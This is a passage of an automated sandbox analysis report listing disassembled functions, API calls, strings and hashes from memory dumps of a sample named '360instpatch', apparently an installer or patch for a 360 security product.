Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: Async$CancelRequestSelectclosesocketshutdown
String ID:
API String ID: 3577682533-0
Opcode ID: d5d572a25864531a9eeaaa5de6fc549085243c5861b85ef4b332a4cf4532b5d7
Instruction ID: 866241a4344cfe2464fe9b7915a5f1fae79280494f49bde7d9a9c586a56f0e08
Opcode Fuzzy Hash: d5d572a25864531a9eeaaa5de6fc549085243c5861b85ef4b332a4cf4532b5d7
Instruction Fuzzy Hash: 2511A0332107109BEB209F75D849B6B73E5AF45B15F00469EE066826B0CBBCE8658B98

Function 6BF2FCFE Relevance: 6.0, APIs: 4, Instructions: 49networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6BF2FD34
htonl.WS2_32(00000000), ref: 6BF2FD46
htons.WS2_32(00000000), ref: 6BF2FD52
sendto.WS2_32(00000784,00000000,6BF33743,6BFCC814,00000000,00000010), ref: 6BF2FD6C

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _memsethtonlhtonssendto
String ID:
API String ID: 2645352339-0
Opcode ID: 18c2142848b6ecbfbcb8a8f41f4bb71463fa4e0cd50b189a28b2b65025146f7e
Instruction ID: da7618be4962ad8557b9a11dfb9feceb0a6c9d7902623e921cee05af5b93e8f1
Opcode Fuzzy Hash: 18c2142848b6ecbfbcb8a8f41f4bb71463fa4e0cd50b189a28b2b65025146f7e
Instruction Fuzzy Hash: 6D112776910209AFDF019FA4C806EEF7BB5EF09710F10045AF902A6260D775EA64DBA1

Function 00B4667F Relevance: 6.0, APIs: 4, Instructions: 43windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(000000CD), ref: 00B46699
Shell_NotifyIconW.SHELL32(00000001,00000284), ref: 00B46703
Shell_NotifyIconW.SHELL32(00000000,00000284), ref: 00B4670B
SetTimer.USER32(?,00002711,000007D0,00000000), ref: 00B4671B

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: Icon$NotifyShell_$LoadTimer
String ID:
API String ID: 2558709860-0
Opcode ID: 390a1c534c1ee718319296847bcae2a86a5863cb37d0ce4afeba94ec3738cac2
Instruction ID: 372711089204149eb8c9f4a9544b7f82174baeb52d51aa69f8d33ec84e5e8f6f
Opcode Fuzzy Hash: 390a1c534c1ee718319296847bcae2a86a5863cb37d0ce4afeba94ec3738cac2
Instruction Fuzzy Hash: A2016DB4501701DFE7208F64C888F97BBF9EB49348F00482EE5A9A7241C7B56A54CB51

Function 6BEF79B9 Relevance: 6.0, APIs: 4, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,00000000), ref: 6BEF79DA
RegQueryValueExA.KERNEL32(00000000,?,00000000,?,?,?), ref: 6BEF7A01
GetLastError.KERNEL32 ref: 6BEF7A0B
RegCloseKey.ADVAPI32(00000000), ref: 6BEF7A14

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CloseErrorLastOpenQueryValue
String ID:
API String ID: 75635995-0
Opcode ID: 39af0ef5e6a05549e1f8af035daf1a0e1e6f03123da52a3ec464aa45570a2ecb
Instruction ID: 1b43c2bcd80f24857ad94aad2cc34ab7dc1ad8b8724696f49a03057ee43d3f3d
Opcode Fuzzy Hash: 39af0ef5e6a05549e1f8af035daf1a0e1e6f03123da52a3ec464aa45570a2ecb
Instruction Fuzzy Hash: 6201E476A00209AFDF41DF94D945BCE7BB8AB08305F1040A6FA05E6190E670DA289B61

Function 6BF272B1 Relevance: 6.0, APIs: 4, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 6BF272D2
RegQueryValueExW.ADVAPI32(00000000,?,00000000,?,?,00000000), ref: 6BF272F9
GetLastError.KERNEL32 ref: 6BF27303
RegCloseKey.ADVAPI32(00000000), ref: 6BF2730C

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CloseErrorLastOpenQueryValue
String ID:
API String ID: 75635995-0
Opcode ID: c6189c4deb9c9f5d52119e9af330ffc07678e868dd0cb43d9ca6105283f3f5ee
Instruction ID: ff78841eb5aa2f4878494cbdaca7dcff62da7e4c15458a55d4e9472df45b0390
Opcode Fuzzy Hash: c6189c4deb9c9f5d52119e9af330ffc07678e868dd0cb43d9ca6105283f3f5ee
Instruction Fuzzy Hash: AB01B676A0020DFFDF01DFA4D945BDE7BB8BB04715F1480A5FA05E61A0E770DA289B61

Function 6BF3AB73 Relevance: 6.0, APIs: 4, Instructions: 19threadCOMMON

Download Yara Rule

APIs

__IsNonwritableInCurrentImage.LIBCMT ref: 6BF3AB86

Part of subcall function 6BF42C40: __FindPESection.LIBCMT ref: 6BF42C9B

__getptd_noexit.LIBCMT ref: 6BF3AB96
__freeptd.LIBCMT ref: 6BF3ABA0
ExitThread.KERNEL32 ref: 6BF3ABA9

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CurrentExitFindImageNonwritableSectionThread__freeptd__getptd_noexit
String ID:
API String ID: 3182216644-0
Opcode ID: 678a5f8b4835cf13f5b1ba1b200f438a2a197707bdc8fe04be2602d02d0b4efe
Instruction ID: c7ff775320ca40eb421595c9e599ce9fd893bb3b83ccf785de834b02869b04b8
Opcode Fuzzy Hash: 678a5f8b4835cf13f5b1ba1b200f438a2a197707bdc8fe04be2602d02d0b4efe
Instruction Fuzzy Hash: DAD05E33014612ABEF992B72C959B2E3AD99F412B5F104065BC24C10B1EF3DC4C6C5A0

Function 00B9E98B Relevance: 6.0, APIs: 4, Instructions: 19threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__IsNonwritableInCurrentImage.LIBCMT ref: 00B9E99E

Part of subcall function 00BA30A0: __FindPESection.LIBCMT ref: 00BA30FB

__getptd_noexit.LIBCMT ref: 00B9E9AE
__freeptd.LIBCMT ref: 00B9E9B8
ExitThread.KERNEL32 ref: 00B9E9C1

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: CurrentExitFindImageNonwritableSectionThread__freeptd__getptd_noexit
String ID:
API String ID: 3182216644-0
Opcode ID: a2a8dfee5075b92a74fa2c26f63deb0e5917051b70acaae0612c9a1417a663d2
Instruction ID: ec2a6e41dda9ced8e59b78b00d3e44c435b80d3978105177ca2db40e5ebfdf91
Opcode Fuzzy Hash: a2a8dfee5075b92a74fa2c26f63deb0e5917051b70acaae0612c9a1417a663d2
Instruction Fuzzy Hash: B0D01731004209AEEB6467B5ED2AB1D76D9DF82360F1500B1B814A60B1EFB4DCC1C926

Function 6BEEF3BD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6BEEF474
_wcsncpy.LIBCMT ref: 6BEEF4AC

Strings

[%d.] ADD URL: %s, xrefs: 6BEEF572

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CountTick_wcsncpy
String ID: [%d.] ADD URL: %s
API String ID: 2317306155-304945954
Opcode ID: eaa651c84c67cdaf0006de13ce248d88fd34fa91c82c0740b0f3904159a72f28
Instruction ID: 1aa8f49dc4f873a313e916a600e419237a6b5f5f1263e2cc46e435f63859b870
Opcode Fuzzy Hash: eaa651c84c67cdaf0006de13ce248d88fd34fa91c82c0740b0f3904159a72f28
Instruction Fuzzy Hash: 0B516D729146059EEB24CFB8D9816EAB3F4FF08308F20482DD51AC7A41E739E556CFA1

Function 6BEF7AC1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 151memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6BEF7B16
GlobalAlloc.KERNEL32(00000040,00000000,?,00000004,?,00000008,?,00000004,00000001,00000004,?,00000004,?,00000004), ref: 6BEF7BFA

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections, xrefs: 6BEF7B37

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: AllocGlobal_memset
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
API String ID: 2074659453-3418006259
Opcode ID: 67119805835566fc6dcf883771bc15cdf7bc03d3e9c21dc646e8ec75a3f9b8f7
Instruction ID: 4a94f73b91be9610c043a01d809fbbffe4cb723922dd2b22237151c4ec0d357c
Opcode Fuzzy Hash: 67119805835566fc6dcf883771bc15cdf7bc03d3e9c21dc646e8ec75a3f9b8f7
Instruction Fuzzy Hash: DA51D772D002189BCB11DFA0DC91EEE777CEF48704F714169D916AF195EB389A46CBA0

Function 6BF1998E Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 149COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6BF19995

Part of subcall function 6BEFB755: __EH_prolog3_GS.LIBCMT ref: 6BEFB75C
Part of subcall function 6BEFB755: lstrlenW.KERNEL32(?,0000000C,6BF19D3B,?,?), ref: 6BEFB780

Part of subcall function 6BEE84C9: char_traits.LIBCPMT ref: 6BEE84EE

Part of subcall function 6BF183A6: _memset.LIBCMT ref: 6BF183C4
Part of subcall function 6BF183A6: WideCharToMultiByte.KERNEL32(00000000,00000000,-00000004,000000FF,00000000,?,00000000,00000000,00000000,00000000,00000000,000000FF), ref: 6BF183E5

Strings

[%d.%3d] Init disconnected, ERR_HTTP_NOT_INITIALIZED, xrefs: 6BF19AF1
[%d.%3d] Init disconnected, ERR_HTTP_INVALID_URL, xrefs: 6BF19A36

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: ByteCharH_prolog3H_prolog3_MultiWide_memsetchar_traitslstrlen
String ID: [%d.%3d] Init disconnected, ERR_HTTP_INVALID_URL$[%d.%3d] Init disconnected, ERR_HTTP_NOT_INITIALIZED
API String ID: 2571870572-270683280
Opcode ID: 3ec5acd8e2603162733aa5c538b5cd5fedecea08519de2d5c2c57f96358b89fa
Instruction ID: a1c055c4b429abeae979a44b8cecde18fd38557e0b5d63cddb16c0170c277540
Opcode Fuzzy Hash: 3ec5acd8e2603162733aa5c538b5cd5fedecea08519de2d5c2c57f96358b89fa
Instruction Fuzzy Hash: D651C772500709ABCB15DFB4CC42EEB7BA8EF45314F10491DF466832A0EB38A655C7A1

Function 6BEE9329 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000004,00000080,00000000), ref: 6BEE935C
GetLastError.KERNEL32 ref: 6BEE936A

Part of subcall function 6BEE9134: _wcslen.LIBCMT ref: 6BEE913B

Strings

[%d.] __open_file create file(%s) fail! error code is %d, xrefs: 6BEE9379

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CreateErrorFileLast_wcslen
String ID: [%d.] __open_file create file(%s) fail! error code is %d
API String ID: 3865106863-2798064650
Opcode ID: abad2d3637c2931cd731457d012f6a984f85dda63890bb97a38d5c25d526daf5
Instruction ID: fe13429ed9cbbb0c906be444f35c0e8c766ae61571b5ee74f5b3cbb93451052d
Opcode Fuzzy Hash: abad2d3637c2931cd731457d012f6a984f85dda63890bb97a38d5c25d526daf5
Instruction Fuzzy Hash: 3A01F436440204FEEB506F74CC05F9637E8FB15726F118529FA56D51E0E37994968B70

Function 6BF35F4C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 6BF3325B: __EH_prolog3.LIBCMT ref: 6BF33262

GetTickCount.KERNEL32 ref: 6BF35F87

Strings

agt.p.360.cn, xrefs: 6BF35FAA
tr.p.360.cn, xrefs: 6BF35F7A, 6BF35F7F, 6BF35F99

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CountH_prolog3Tick
String ID: agt.p.360.cn$tr.p.360.cn
API String ID: 3287309161-3328026606
Opcode ID: 083410b4fe9b353fd8d127e5f01a3c78753e0b842cec25a7360ab911e7a69293
Instruction ID: 96ed89efbc04c7c952590d371571fb70435712c34cff9b64105926a57316288b
Opcode Fuzzy Hash: 083410b4fe9b353fd8d127e5f01a3c78753e0b842cec25a7360ab911e7a69293
Instruction Fuzzy Hash: B9F0B4B32103246AD950567A5C91B7B77DDEB96688F00002AFA119A2A0DF6EBC8183B4

Function 6CD3AD48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6CD3AD6C
PathCombineW.SHLWAPI(?,?,Config\SafeIME.xml), ref: 6CD3AD82

Part of subcall function 6CD3AB57: __EH_prolog3.LIBCMT ref: 6CD3AB5E
Part of subcall function 6CD3AB57: CreateXMLDOMDocument.SITES(00000000,0000003C,6CD3AD96,?,?,Config\SafeIME.xml), ref: 6CD3AB88
Part of subcall function 6CD3AB57: VariantClear.OLEAUT32(?), ref: 6CD3ABD3

Strings

Config\SafeIME.xml, xrefs: 6CD3AD74

Memory Dump Source

Source File: 00000008.00000002.4120199942.000000006CD21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CD20000, based on PE: true

Associated: 00000008.00000002.4120169906.000000006CD20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE2B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE30000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120454362.000000006CE50000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120497160.000000006CE56000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6cd20000_360instpatch.jbxd

Similarity

API ID: ClearCombineCreateDocumentH_prolog3PathVariant_memset
String ID: Config\SafeIME.xml
API String ID: 3506927742-2267017868
Opcode ID: 8feb65f3caaa2c1acbffff413f9d79d310073d5b48efad82d7ea3da866ecbbe6
Instruction ID: 05120cb25d3f140fa48d5a1951c8851ffff438529749c9d3da04fe913449e185
Opcode Fuzzy Hash: 8feb65f3caaa2c1acbffff413f9d79d310073d5b48efad82d7ea3da866ecbbe6
Instruction Fuzzy Hash: 61F0A030B0011CABCFA0EF648C45F9DB7F8AB04308F0145A9E189A3280DF75AA0D8BE4

Function 00B566E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SHGetValueW.SHLWAPI(80000001,Software\360Safe,EnableUE,?,00000000,?,&pid=,&ver=), ref: 00B5670E

Strings

Software\360Safe, xrefs: 00B56704
EnableUE, xrefs: 00B566FF

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: Value
String ID: EnableUE$Software\360Safe
API String ID: 3702945584-3756293347
Opcode ID: 2d913026d0e4516f15e27f84375b6161096daa0de999c381b5f37598c3b3f707
Instruction ID: a93f4d60a3d29efc4514c784516eab8d76be731901c92a45a423d6f40c836b1c
Opcode Fuzzy Hash: 2d913026d0e4516f15e27f84375b6161096daa0de999c381b5f37598c3b3f707
Instruction Fuzzy Hash: C4E0ED72E40208FADB00DFA09D45BDEB7FCAB08715F1085B6A516E3190FA74DB44DB51

Function 6CD89C1C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 9registryclipboardCOMMON

Download Yara Rule

APIs

RegisterClipboardFormatW.USER32(SitesUI), ref: 6CD89C34
SmartDisableIME.SITES ref: 6CD89C3F

Strings

SitesUI, xrefs: 6CD89C25

Memory Dump Source

Source File: 00000008.00000002.4120199942.000000006CD21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CD20000, based on PE: true

Associated: 00000008.00000002.4120169906.000000006CD20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE2B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE30000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120454362.000000006CE50000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120497160.000000006CE56000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6cd20000_360instpatch.jbxd

Similarity

API ID: ClipboardDisableFormatRegisterSmart
String ID: SitesUI
API String ID: 3315930252-1048294868
Opcode ID: ea832ec7cc2e703cf6ccf6835c011b894cb42da76c525c887aeabec6b832b119
Instruction ID: ccb746278221e3671c28ae3ca3421a385e43791c455e2304bf3b705b7886bf3d
Opcode Fuzzy Hash: ea832ec7cc2e703cf6ccf6835c011b894cb42da76c525c887aeabec6b832b119
Instruction Fuzzy Hash: DED01230B06704CEDB08DF21804C7583675F313715F90841BD04207B50C77F4098AFA1

Function 00B12860 Relevance: 4.8, APIs: 3, Instructions: 286COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B128B3
_malloc.LIBCMT ref: 00B129B5
SetLastError.KERNEL32(00000008,00002000,?,00000000), ref: 00B129C5

Part of subcall function 00B15690: _malloc.LIBCMT ref: 00B1569C
Part of subcall function 00B15690: SetLastError.KERNEL32(00000008,00000000,00B1291E,00000000,00002000,?,00000000), ref: 00B156AE

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
